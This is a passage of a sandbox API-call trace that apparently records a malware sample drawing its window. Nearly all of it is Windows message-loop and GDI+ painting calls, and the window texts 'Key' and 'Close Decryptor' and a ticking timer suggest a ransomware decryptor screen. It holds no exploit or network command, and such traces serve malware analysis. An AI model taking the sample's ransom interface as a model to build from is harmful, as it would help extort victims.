(in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.281] IsWindowUnicode (hWnd=0x10262) returned 1 [0174.281] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.281] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.281] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.281] BeginPaint (in: hWnd=0x10262, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x10105d6 [0174.281] EndPaint (hWnd=0x10262, lpPaint=0x19e8bc) returned 1 [0174.281] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.282] IsWindowUnicode (hWnd=0x10264) returned 1 [0174.282] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.282] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.282] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.282] BeginPaint (in: hWnd=0x10264, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x60100ce [0174.282] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.284] GetWindowTextLengthW (hWnd=0x10264) returned 3 [0174.284] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0174.284] GetSystemMetrics (nIndex=42) returned 0 [0174.284] GetWindowTextW (in: hWnd=0x10264, lpString=0x19e888, nMaxCount=4 | out: lpString="Key") returned 3 [0174.284] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0xd, wParam=0x4, lParam=0x19e888) returned 0x3 [0174.285] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0174.285] EndPaint (hWnd=0x10264, lpPaint=0x19e8e4) returned 1 [0174.285] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.285] IsWindowUnicode (hWnd=0x10266) returned 1 [0174.285] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.285] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.285] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.285] BeginPaint (in: hWnd=0x10266, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0174.285] EndPaint (hWnd=0x10266, lpPaint=0x19e8c8) returned 1 [0174.286] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.286] IsWindowUnicode (hWnd=0x10268) returned 1 [0174.286] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.286] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.286] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.286] BeginPaint (in: hWnd=0x10268, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x1b010670 [0174.286] EndPaint (hWnd=0x10268, lpPaint=0x19e904) returned 1 [0174.286] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.286] IsWindowUnicode (hWnd=0x1026a) returned 1 [0174.286] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.286] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.286] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.286] BeginPaint (in: hWnd=0x1026a, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x10105d6 [0174.287] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.287] GetWindowTextLengthW (hWnd=0x1026a) returned 0 [0174.287] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.287] GetSystemMetrics (nIndex=42) returned 0 [0174.287] GetWindowTextW (in: hWnd=0x1026a, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0174.287] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0174.287] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0174.287] EndPaint (hWnd=0x1026a, lpPaint=0x19e8f8) returned 1 [0174.287] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.287] IsWindowUnicode (hWnd=0x1026c) returned 1 [0174.287] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.287] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.287] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0174.288] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0174.288] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.288] IsWindowUnicode (hWnd=0x1026e) returned 1 [0174.288] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.288] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.288] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.288] BeginPaint (in: hWnd=0x1026e, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0174.288] EndPaint (hWnd=0x1026e, lpPaint=0x19e8c8) returned 1 [0174.288] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.289] IsWindowUnicode (hWnd=0x10270) returned 1 [0174.289] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.289] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.289] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.289] BeginPaint (in: hWnd=0x10270, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1b010670 [0174.289] EndPaint (hWnd=0x10270, lpPaint=0x19e8bc) returned 1 [0174.289] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.289] IsWindowUnicode (hWnd=0x10272) returned 1 [0174.289] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.289] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.289] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.289] BeginPaint (in: hWnd=0x10272, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x10105d6 [0174.289] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.290] GetWindowTextLengthW (hWnd=0x10272) returned 3 [0174.290] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0174.290] GetSystemMetrics (nIndex=42) returned 0 [0174.290] GetWindowTextW (in: hWnd=0x10272, lpString=0x19e888, nMaxCount=4 | out: lpString="Key") returned 3 [0174.290] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0xd, wParam=0x4, lParam=0x19e888) returned 0x3 [0174.290] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0174.290] EndPaint (hWnd=0x10272, lpPaint=0x19e8e4) returned 1 [0174.290] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.290] IsWindowUnicode (hWnd=0x10274) returned 1 [0174.290] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.290] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.290] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.290] BeginPaint (in: hWnd=0x10274, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0174.291] EndPaint (hWnd=0x10274, lpPaint=0x19e8c8) returned 1 [0174.291] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.291] IsWindowUnicode (hWnd=0x10276) returned 1 [0174.291] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.291] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.291] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.291] BeginPaint (in: hWnd=0x10276, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x1e0106e1 [0174.291] EndPaint (hWnd=0x10276, lpPaint=0x19e904) returned 1 [0174.291] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.291] IsWindowUnicode (hWnd=0x10278) returned 1 [0174.291] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.291] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.292] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.292] BeginPaint (in: hWnd=0x10278, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x1b010670 [0174.292] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.292] GetWindowTextLengthW (hWnd=0x10278) returned 0 [0174.292] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.292] GetSystemMetrics (nIndex=42) returned 0 [0174.292] GetWindowTextW (in: hWnd=0x10278, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0174.292] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0174.292] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0174.292] EndPaint (hWnd=0x10278, lpPaint=0x19e8f8) returned 1 [0174.292] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.292] IsWindowUnicode (hWnd=0x1027a) returned 1 [0174.292] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.293] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.293] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0174.293] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0174.293] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.293] IsWindowUnicode (hWnd=0x1027c) returned 1 [0174.293] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.293] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.293] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.293] BeginPaint (in: hWnd=0x1027c, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0174.293] EndPaint (hWnd=0x1027c, lpPaint=0x19e8c8) returned 1 [0174.294] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.294] IsWindowUnicode (hWnd=0x1027e) returned 1 [0174.294] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.294] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.294] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.294] BeginPaint (in: hWnd=0x1027e, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1e0106e1 [0174.294] EndPaint (hWnd=0x1027e, lpPaint=0x19e8bc) returned 1 [0174.294] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.294] IsWindowUnicode (hWnd=0x30212) returned 1 [0174.294] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.294] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.294] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.294] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1b010670 [0174.295] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.295] CreateCompatibleDC (hdc=0x1b010670) returned 0x1a010749 [0174.295] SelectObject (hdc=0x1a010749, h=0x8050721) returned 0x85000f [0174.295] GdipCreateFromHDC (hdc=0x1a010749, graphics=0x19e8d8) returned 0x0 [0174.295] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0174.295] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0174.295] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0174.295] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6926a60) returned 0x0 [0174.295] GdipIsMatrixIdentity (matrix=0x6926a60, result=0x19e938) returned 0x0 [0174.295] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0174.295] GdipGetMatrixElements (matrix=0x6926a60, matrixOut=0xf75c20) returned 0x0 [0174.295] LocalFree (hMem=0xf75c20) returned 0x0 [0174.295] GdipDeleteMatrix (matrix=0x6926a60) returned 0x0 [0174.295] GdipCreateRegion (region=0x19e920) returned 0x0 [0174.296] GdipGetClip (graphics=0x6926780, region=0x69239f0) returned 0x0 [0174.296] GdipIsInfiniteRegion (region=0x69239f0, graphics=0x6926780, result=0x19e92c) returned 0x0 [0174.296] GdipSaveGraphics (graphics=0x6926780, state=0x19e958) returned 0x0 [0174.296] GdipRestoreGraphics (graphics=0x6926780, state=0xfcfc0dbd) returned 0x0 [0174.296] GdipDeleteRegion (region=0x69239f0) returned 0x0 [0174.296] GdipGetDC (graphics=0x6926780, hdc=0x19e708) returned 0x0 [0174.296] GetCurrentObject (hdc=0x1a010749, type=0x1) returned 0xb00017 [0174.296] GetCurrentObject (hdc=0x1a010749, type=0x2) returned 0x900010 [0174.296] GetCurrentObject (hdc=0x1a010749, type=0x7) returned 0x8050721 [0174.296] GetCurrentObject (hdc=0x1a010749, type=0x6) returned 0x8a01c2 [0174.296] SaveDC (hdc=0x1a010749) returned 1 [0174.296] GetNearestColor (hdc=0x1a010749, color=0x323533) returned 0x323533 [0174.296] GetNearestColor (hdc=0x1a010749, color=0x111111) returned 0x111111 [0174.296] GetNearestColor (hdc=0x1a010749, color=0x0) returned 0x0 [0174.296] GetNearestColor (hdc=0x1a010749, color=0x868c88) returned 0x868c88 [0174.296] GetNearestColor (hdc=0x1a010749, color=0x6994f5) returned 0x6994f5 [0174.296] GetNearestColor (hdc=0x1a010749, color=0x969c98) returned 0x969c98 [0174.297] GetNearestColor (hdc=0x1a010749, color=0x868c88) returned 0x868c88 [0174.297] GetNearestColor (hdc=0x1a010749, color=0x3c3f3d) returned 0x3c3f3d [0174.297] GetNearestColor (hdc=0x1a010749, color=0x6994f5) returned 0x6994f5 [0174.297] RestoreDC (hdc=0x1a010749, nSavedDC=-1) returned 1 [0174.297] GdipReleaseDC (graphics=0x6926780, hdc=0x1a010749) returned 0x0 [0174.297] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0xc0a0739 [0174.297] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Close Decryptor", cchText=15, lprc=0x19e5c4, format=0x102415, lpdtp=0x307ef70 | out: lpchText="Close Decryptor", lprc=0x19e5c4) returned 60 [0174.297] GdipCreateRegion (region=0x19e64c) returned 0x0 [0174.297] GdipGetClip (graphics=0x6926780, region=0x69239f0) returned 0x0 [0174.297] GdipCreateMatrix (matrix=0x19e64c) returned 0x0 [0174.300] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0174.300] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e664) returned 0x0 [0174.300] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0174.300] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0174.300] LocalFree (hMem=0xf75be8) returned 0x0 [0174.300] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0174.301] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0174.301] LocalFree (hMem=0xf75bb0) returned 0x0 [0174.301] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0174.301] GdipIsInfiniteRegion (region=0x69239f0, graphics=0x6926780, result=0x19e68c) returned 0x0 [0174.301] GdipIsInfiniteRegion (region=0x69239f0, graphics=0x6926780, result=0x19e67c) returned 0x0 [0174.301] GdipGetRegionHRgn (region=0x69239f0, graphics=0x6926780, hRgn=0x19e67c) returned 0x0 [0174.301] GdipDeleteRegion (region=0x69239f0) returned 0x0 [0174.301] GdipGetDC (graphics=0x6926780, hdc=0x19e694) returned 0x0 [0174.301] GdipReleaseDC (graphics=0x6926780, hdc=0x1a010749) returned 0x0 [0174.301] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e710) returned 0x0 [0174.301] GdipGetDC (graphics=0x6926780, hdc=0x19e6fc) returned 0x0 [0174.302] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e444 | out: pv=0x19e444) returned 92 [0174.302] SelectObject (hdc=0x1a010749, h=0x110a0722) returned 0x8a01c2 [0174.302] DrawTextExW (in: hdc=0x1a010749, lpchText="Close Decryptor", cchText=15, lprc=0x19e52c, format=0x102415, lpdtp=0x307f41c | out: lpchText="Close Decryptor", lprc=0x19e52c) returned 60 [0174.303] GdipReleaseDC (graphics=0x6926780, hdc=0x1a010749) returned 0x0 [0174.303] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e794) returned 0x0 [0174.303] GdipDrawRectangleI (graphics=0x6926780, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0174.303] GdipDeletePen (pen=0x6915e78) returned 0x0 [0174.303] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e778) returned 0x0 [0174.303] GdipDrawRectangleI (graphics=0x6926780, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0174.303] GdipDeletePen (pen=0x6915e78) returned 0x0 [0174.303] GdipGetDC (graphics=0x6926780, hdc=0x19e918) returned 0x0 [0174.303] GdipReleaseDC (graphics=0x6926780, hdc=0x1a010749) returned 0x0 [0174.304] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0174.304] EndPaint (hWnd=0x30212, lpPaint=0x19e8bc) returned 1 [0174.304] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0174.304] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0174.304] WaitMessage () returned 1 [0174.704] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.704] IsWindowUnicode (hWnd=0x50074) returned 1 [0174.704] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.705] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.705] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.705] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0174.705] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0174.705] GetSystemMetrics (nIndex=42) returned 0 [0174.705] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:15") returned 8 [0174.705] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0174.705] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0174.705] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0174.705] GetSystemMetrics (nIndex=42) returned 0 [0174.705] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:15") returned 8 [0174.705] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0174.705] SetWindowTextW (hWnd=0x20236, lpString="06:58:16") [0174.705] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x307f508) [0174.705] GetStockObject (i=5) returned 0x900015 [0174.706] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0174.706] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0174.706] SelectObject (hdc=0x8e0106dd, h=0x4f0a0711) returned 0x110a0722 [0174.706] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:16", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x307f6f8 | out: lpchText="06:58:16", lprc=0x19e938) returned 50 [0174.707] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0174.707] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0174.707] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.707] GetSystemMetrics (nIndex=42) returned 0 [0174.707] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0174.707] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0174.707] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.707] IsWindowUnicode (hWnd=0x20236) returned 1 [0174.707] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.707] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.707] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.707] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0174.708] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.708] CreateCompatibleDC (hdc=0x10105d6) returned 0x1c010749 [0174.708] SelectObject (hdc=0x1c010749, h=0x8050721) returned 0x85000f [0174.708] GdipCreateFromHDC (hdc=0x1c010749, graphics=0x19e8e4) returned 0x0 [0174.708] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0174.708] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0174.708] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0174.708] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0174.708] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e944) returned 0x0 [0174.708] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0174.708] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75be8) returned 0x0 [0174.708] LocalFree (hMem=0xf75be8) returned 0x0 [0174.708] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0174.708] GdipCreateRegion (region=0x19e92c) returned 0x0 [0174.709] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0174.709] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e938) returned 0x0 [0174.709] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0174.709] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0174.709] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0174.709] GetSystemMetrics (nIndex=42) returned 0 [0174.709] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:16") returned 8 [0174.709] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0174.709] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0174.709] GdipCreateRegion (region=0x19e780) returned 0x0 [0174.709] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0174.709] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0174.709] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0174.709] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0174.709] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0174.709] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0174.709] LocalFree (hMem=0xf75bb0) returned 0x0 [0174.709] GdipCombineRegionRegion (region=0x6926a60, region2=0x6923a20, combineMode=0x1) returned 0x0 [0174.709] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0174.709] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0174.710] LocalFree (hMem=0xf75bb0) returned 0x0 [0174.710] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0174.710] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0174.710] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0174.710] GdipGetRegionHRgn (region=0x6926a60, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0174.710] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0174.710] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0174.710] GetCurrentObject (hdc=0x1c010749, type=0x1) returned 0xb00017 [0174.710] GetCurrentObject (hdc=0x1c010749, type=0x2) returned 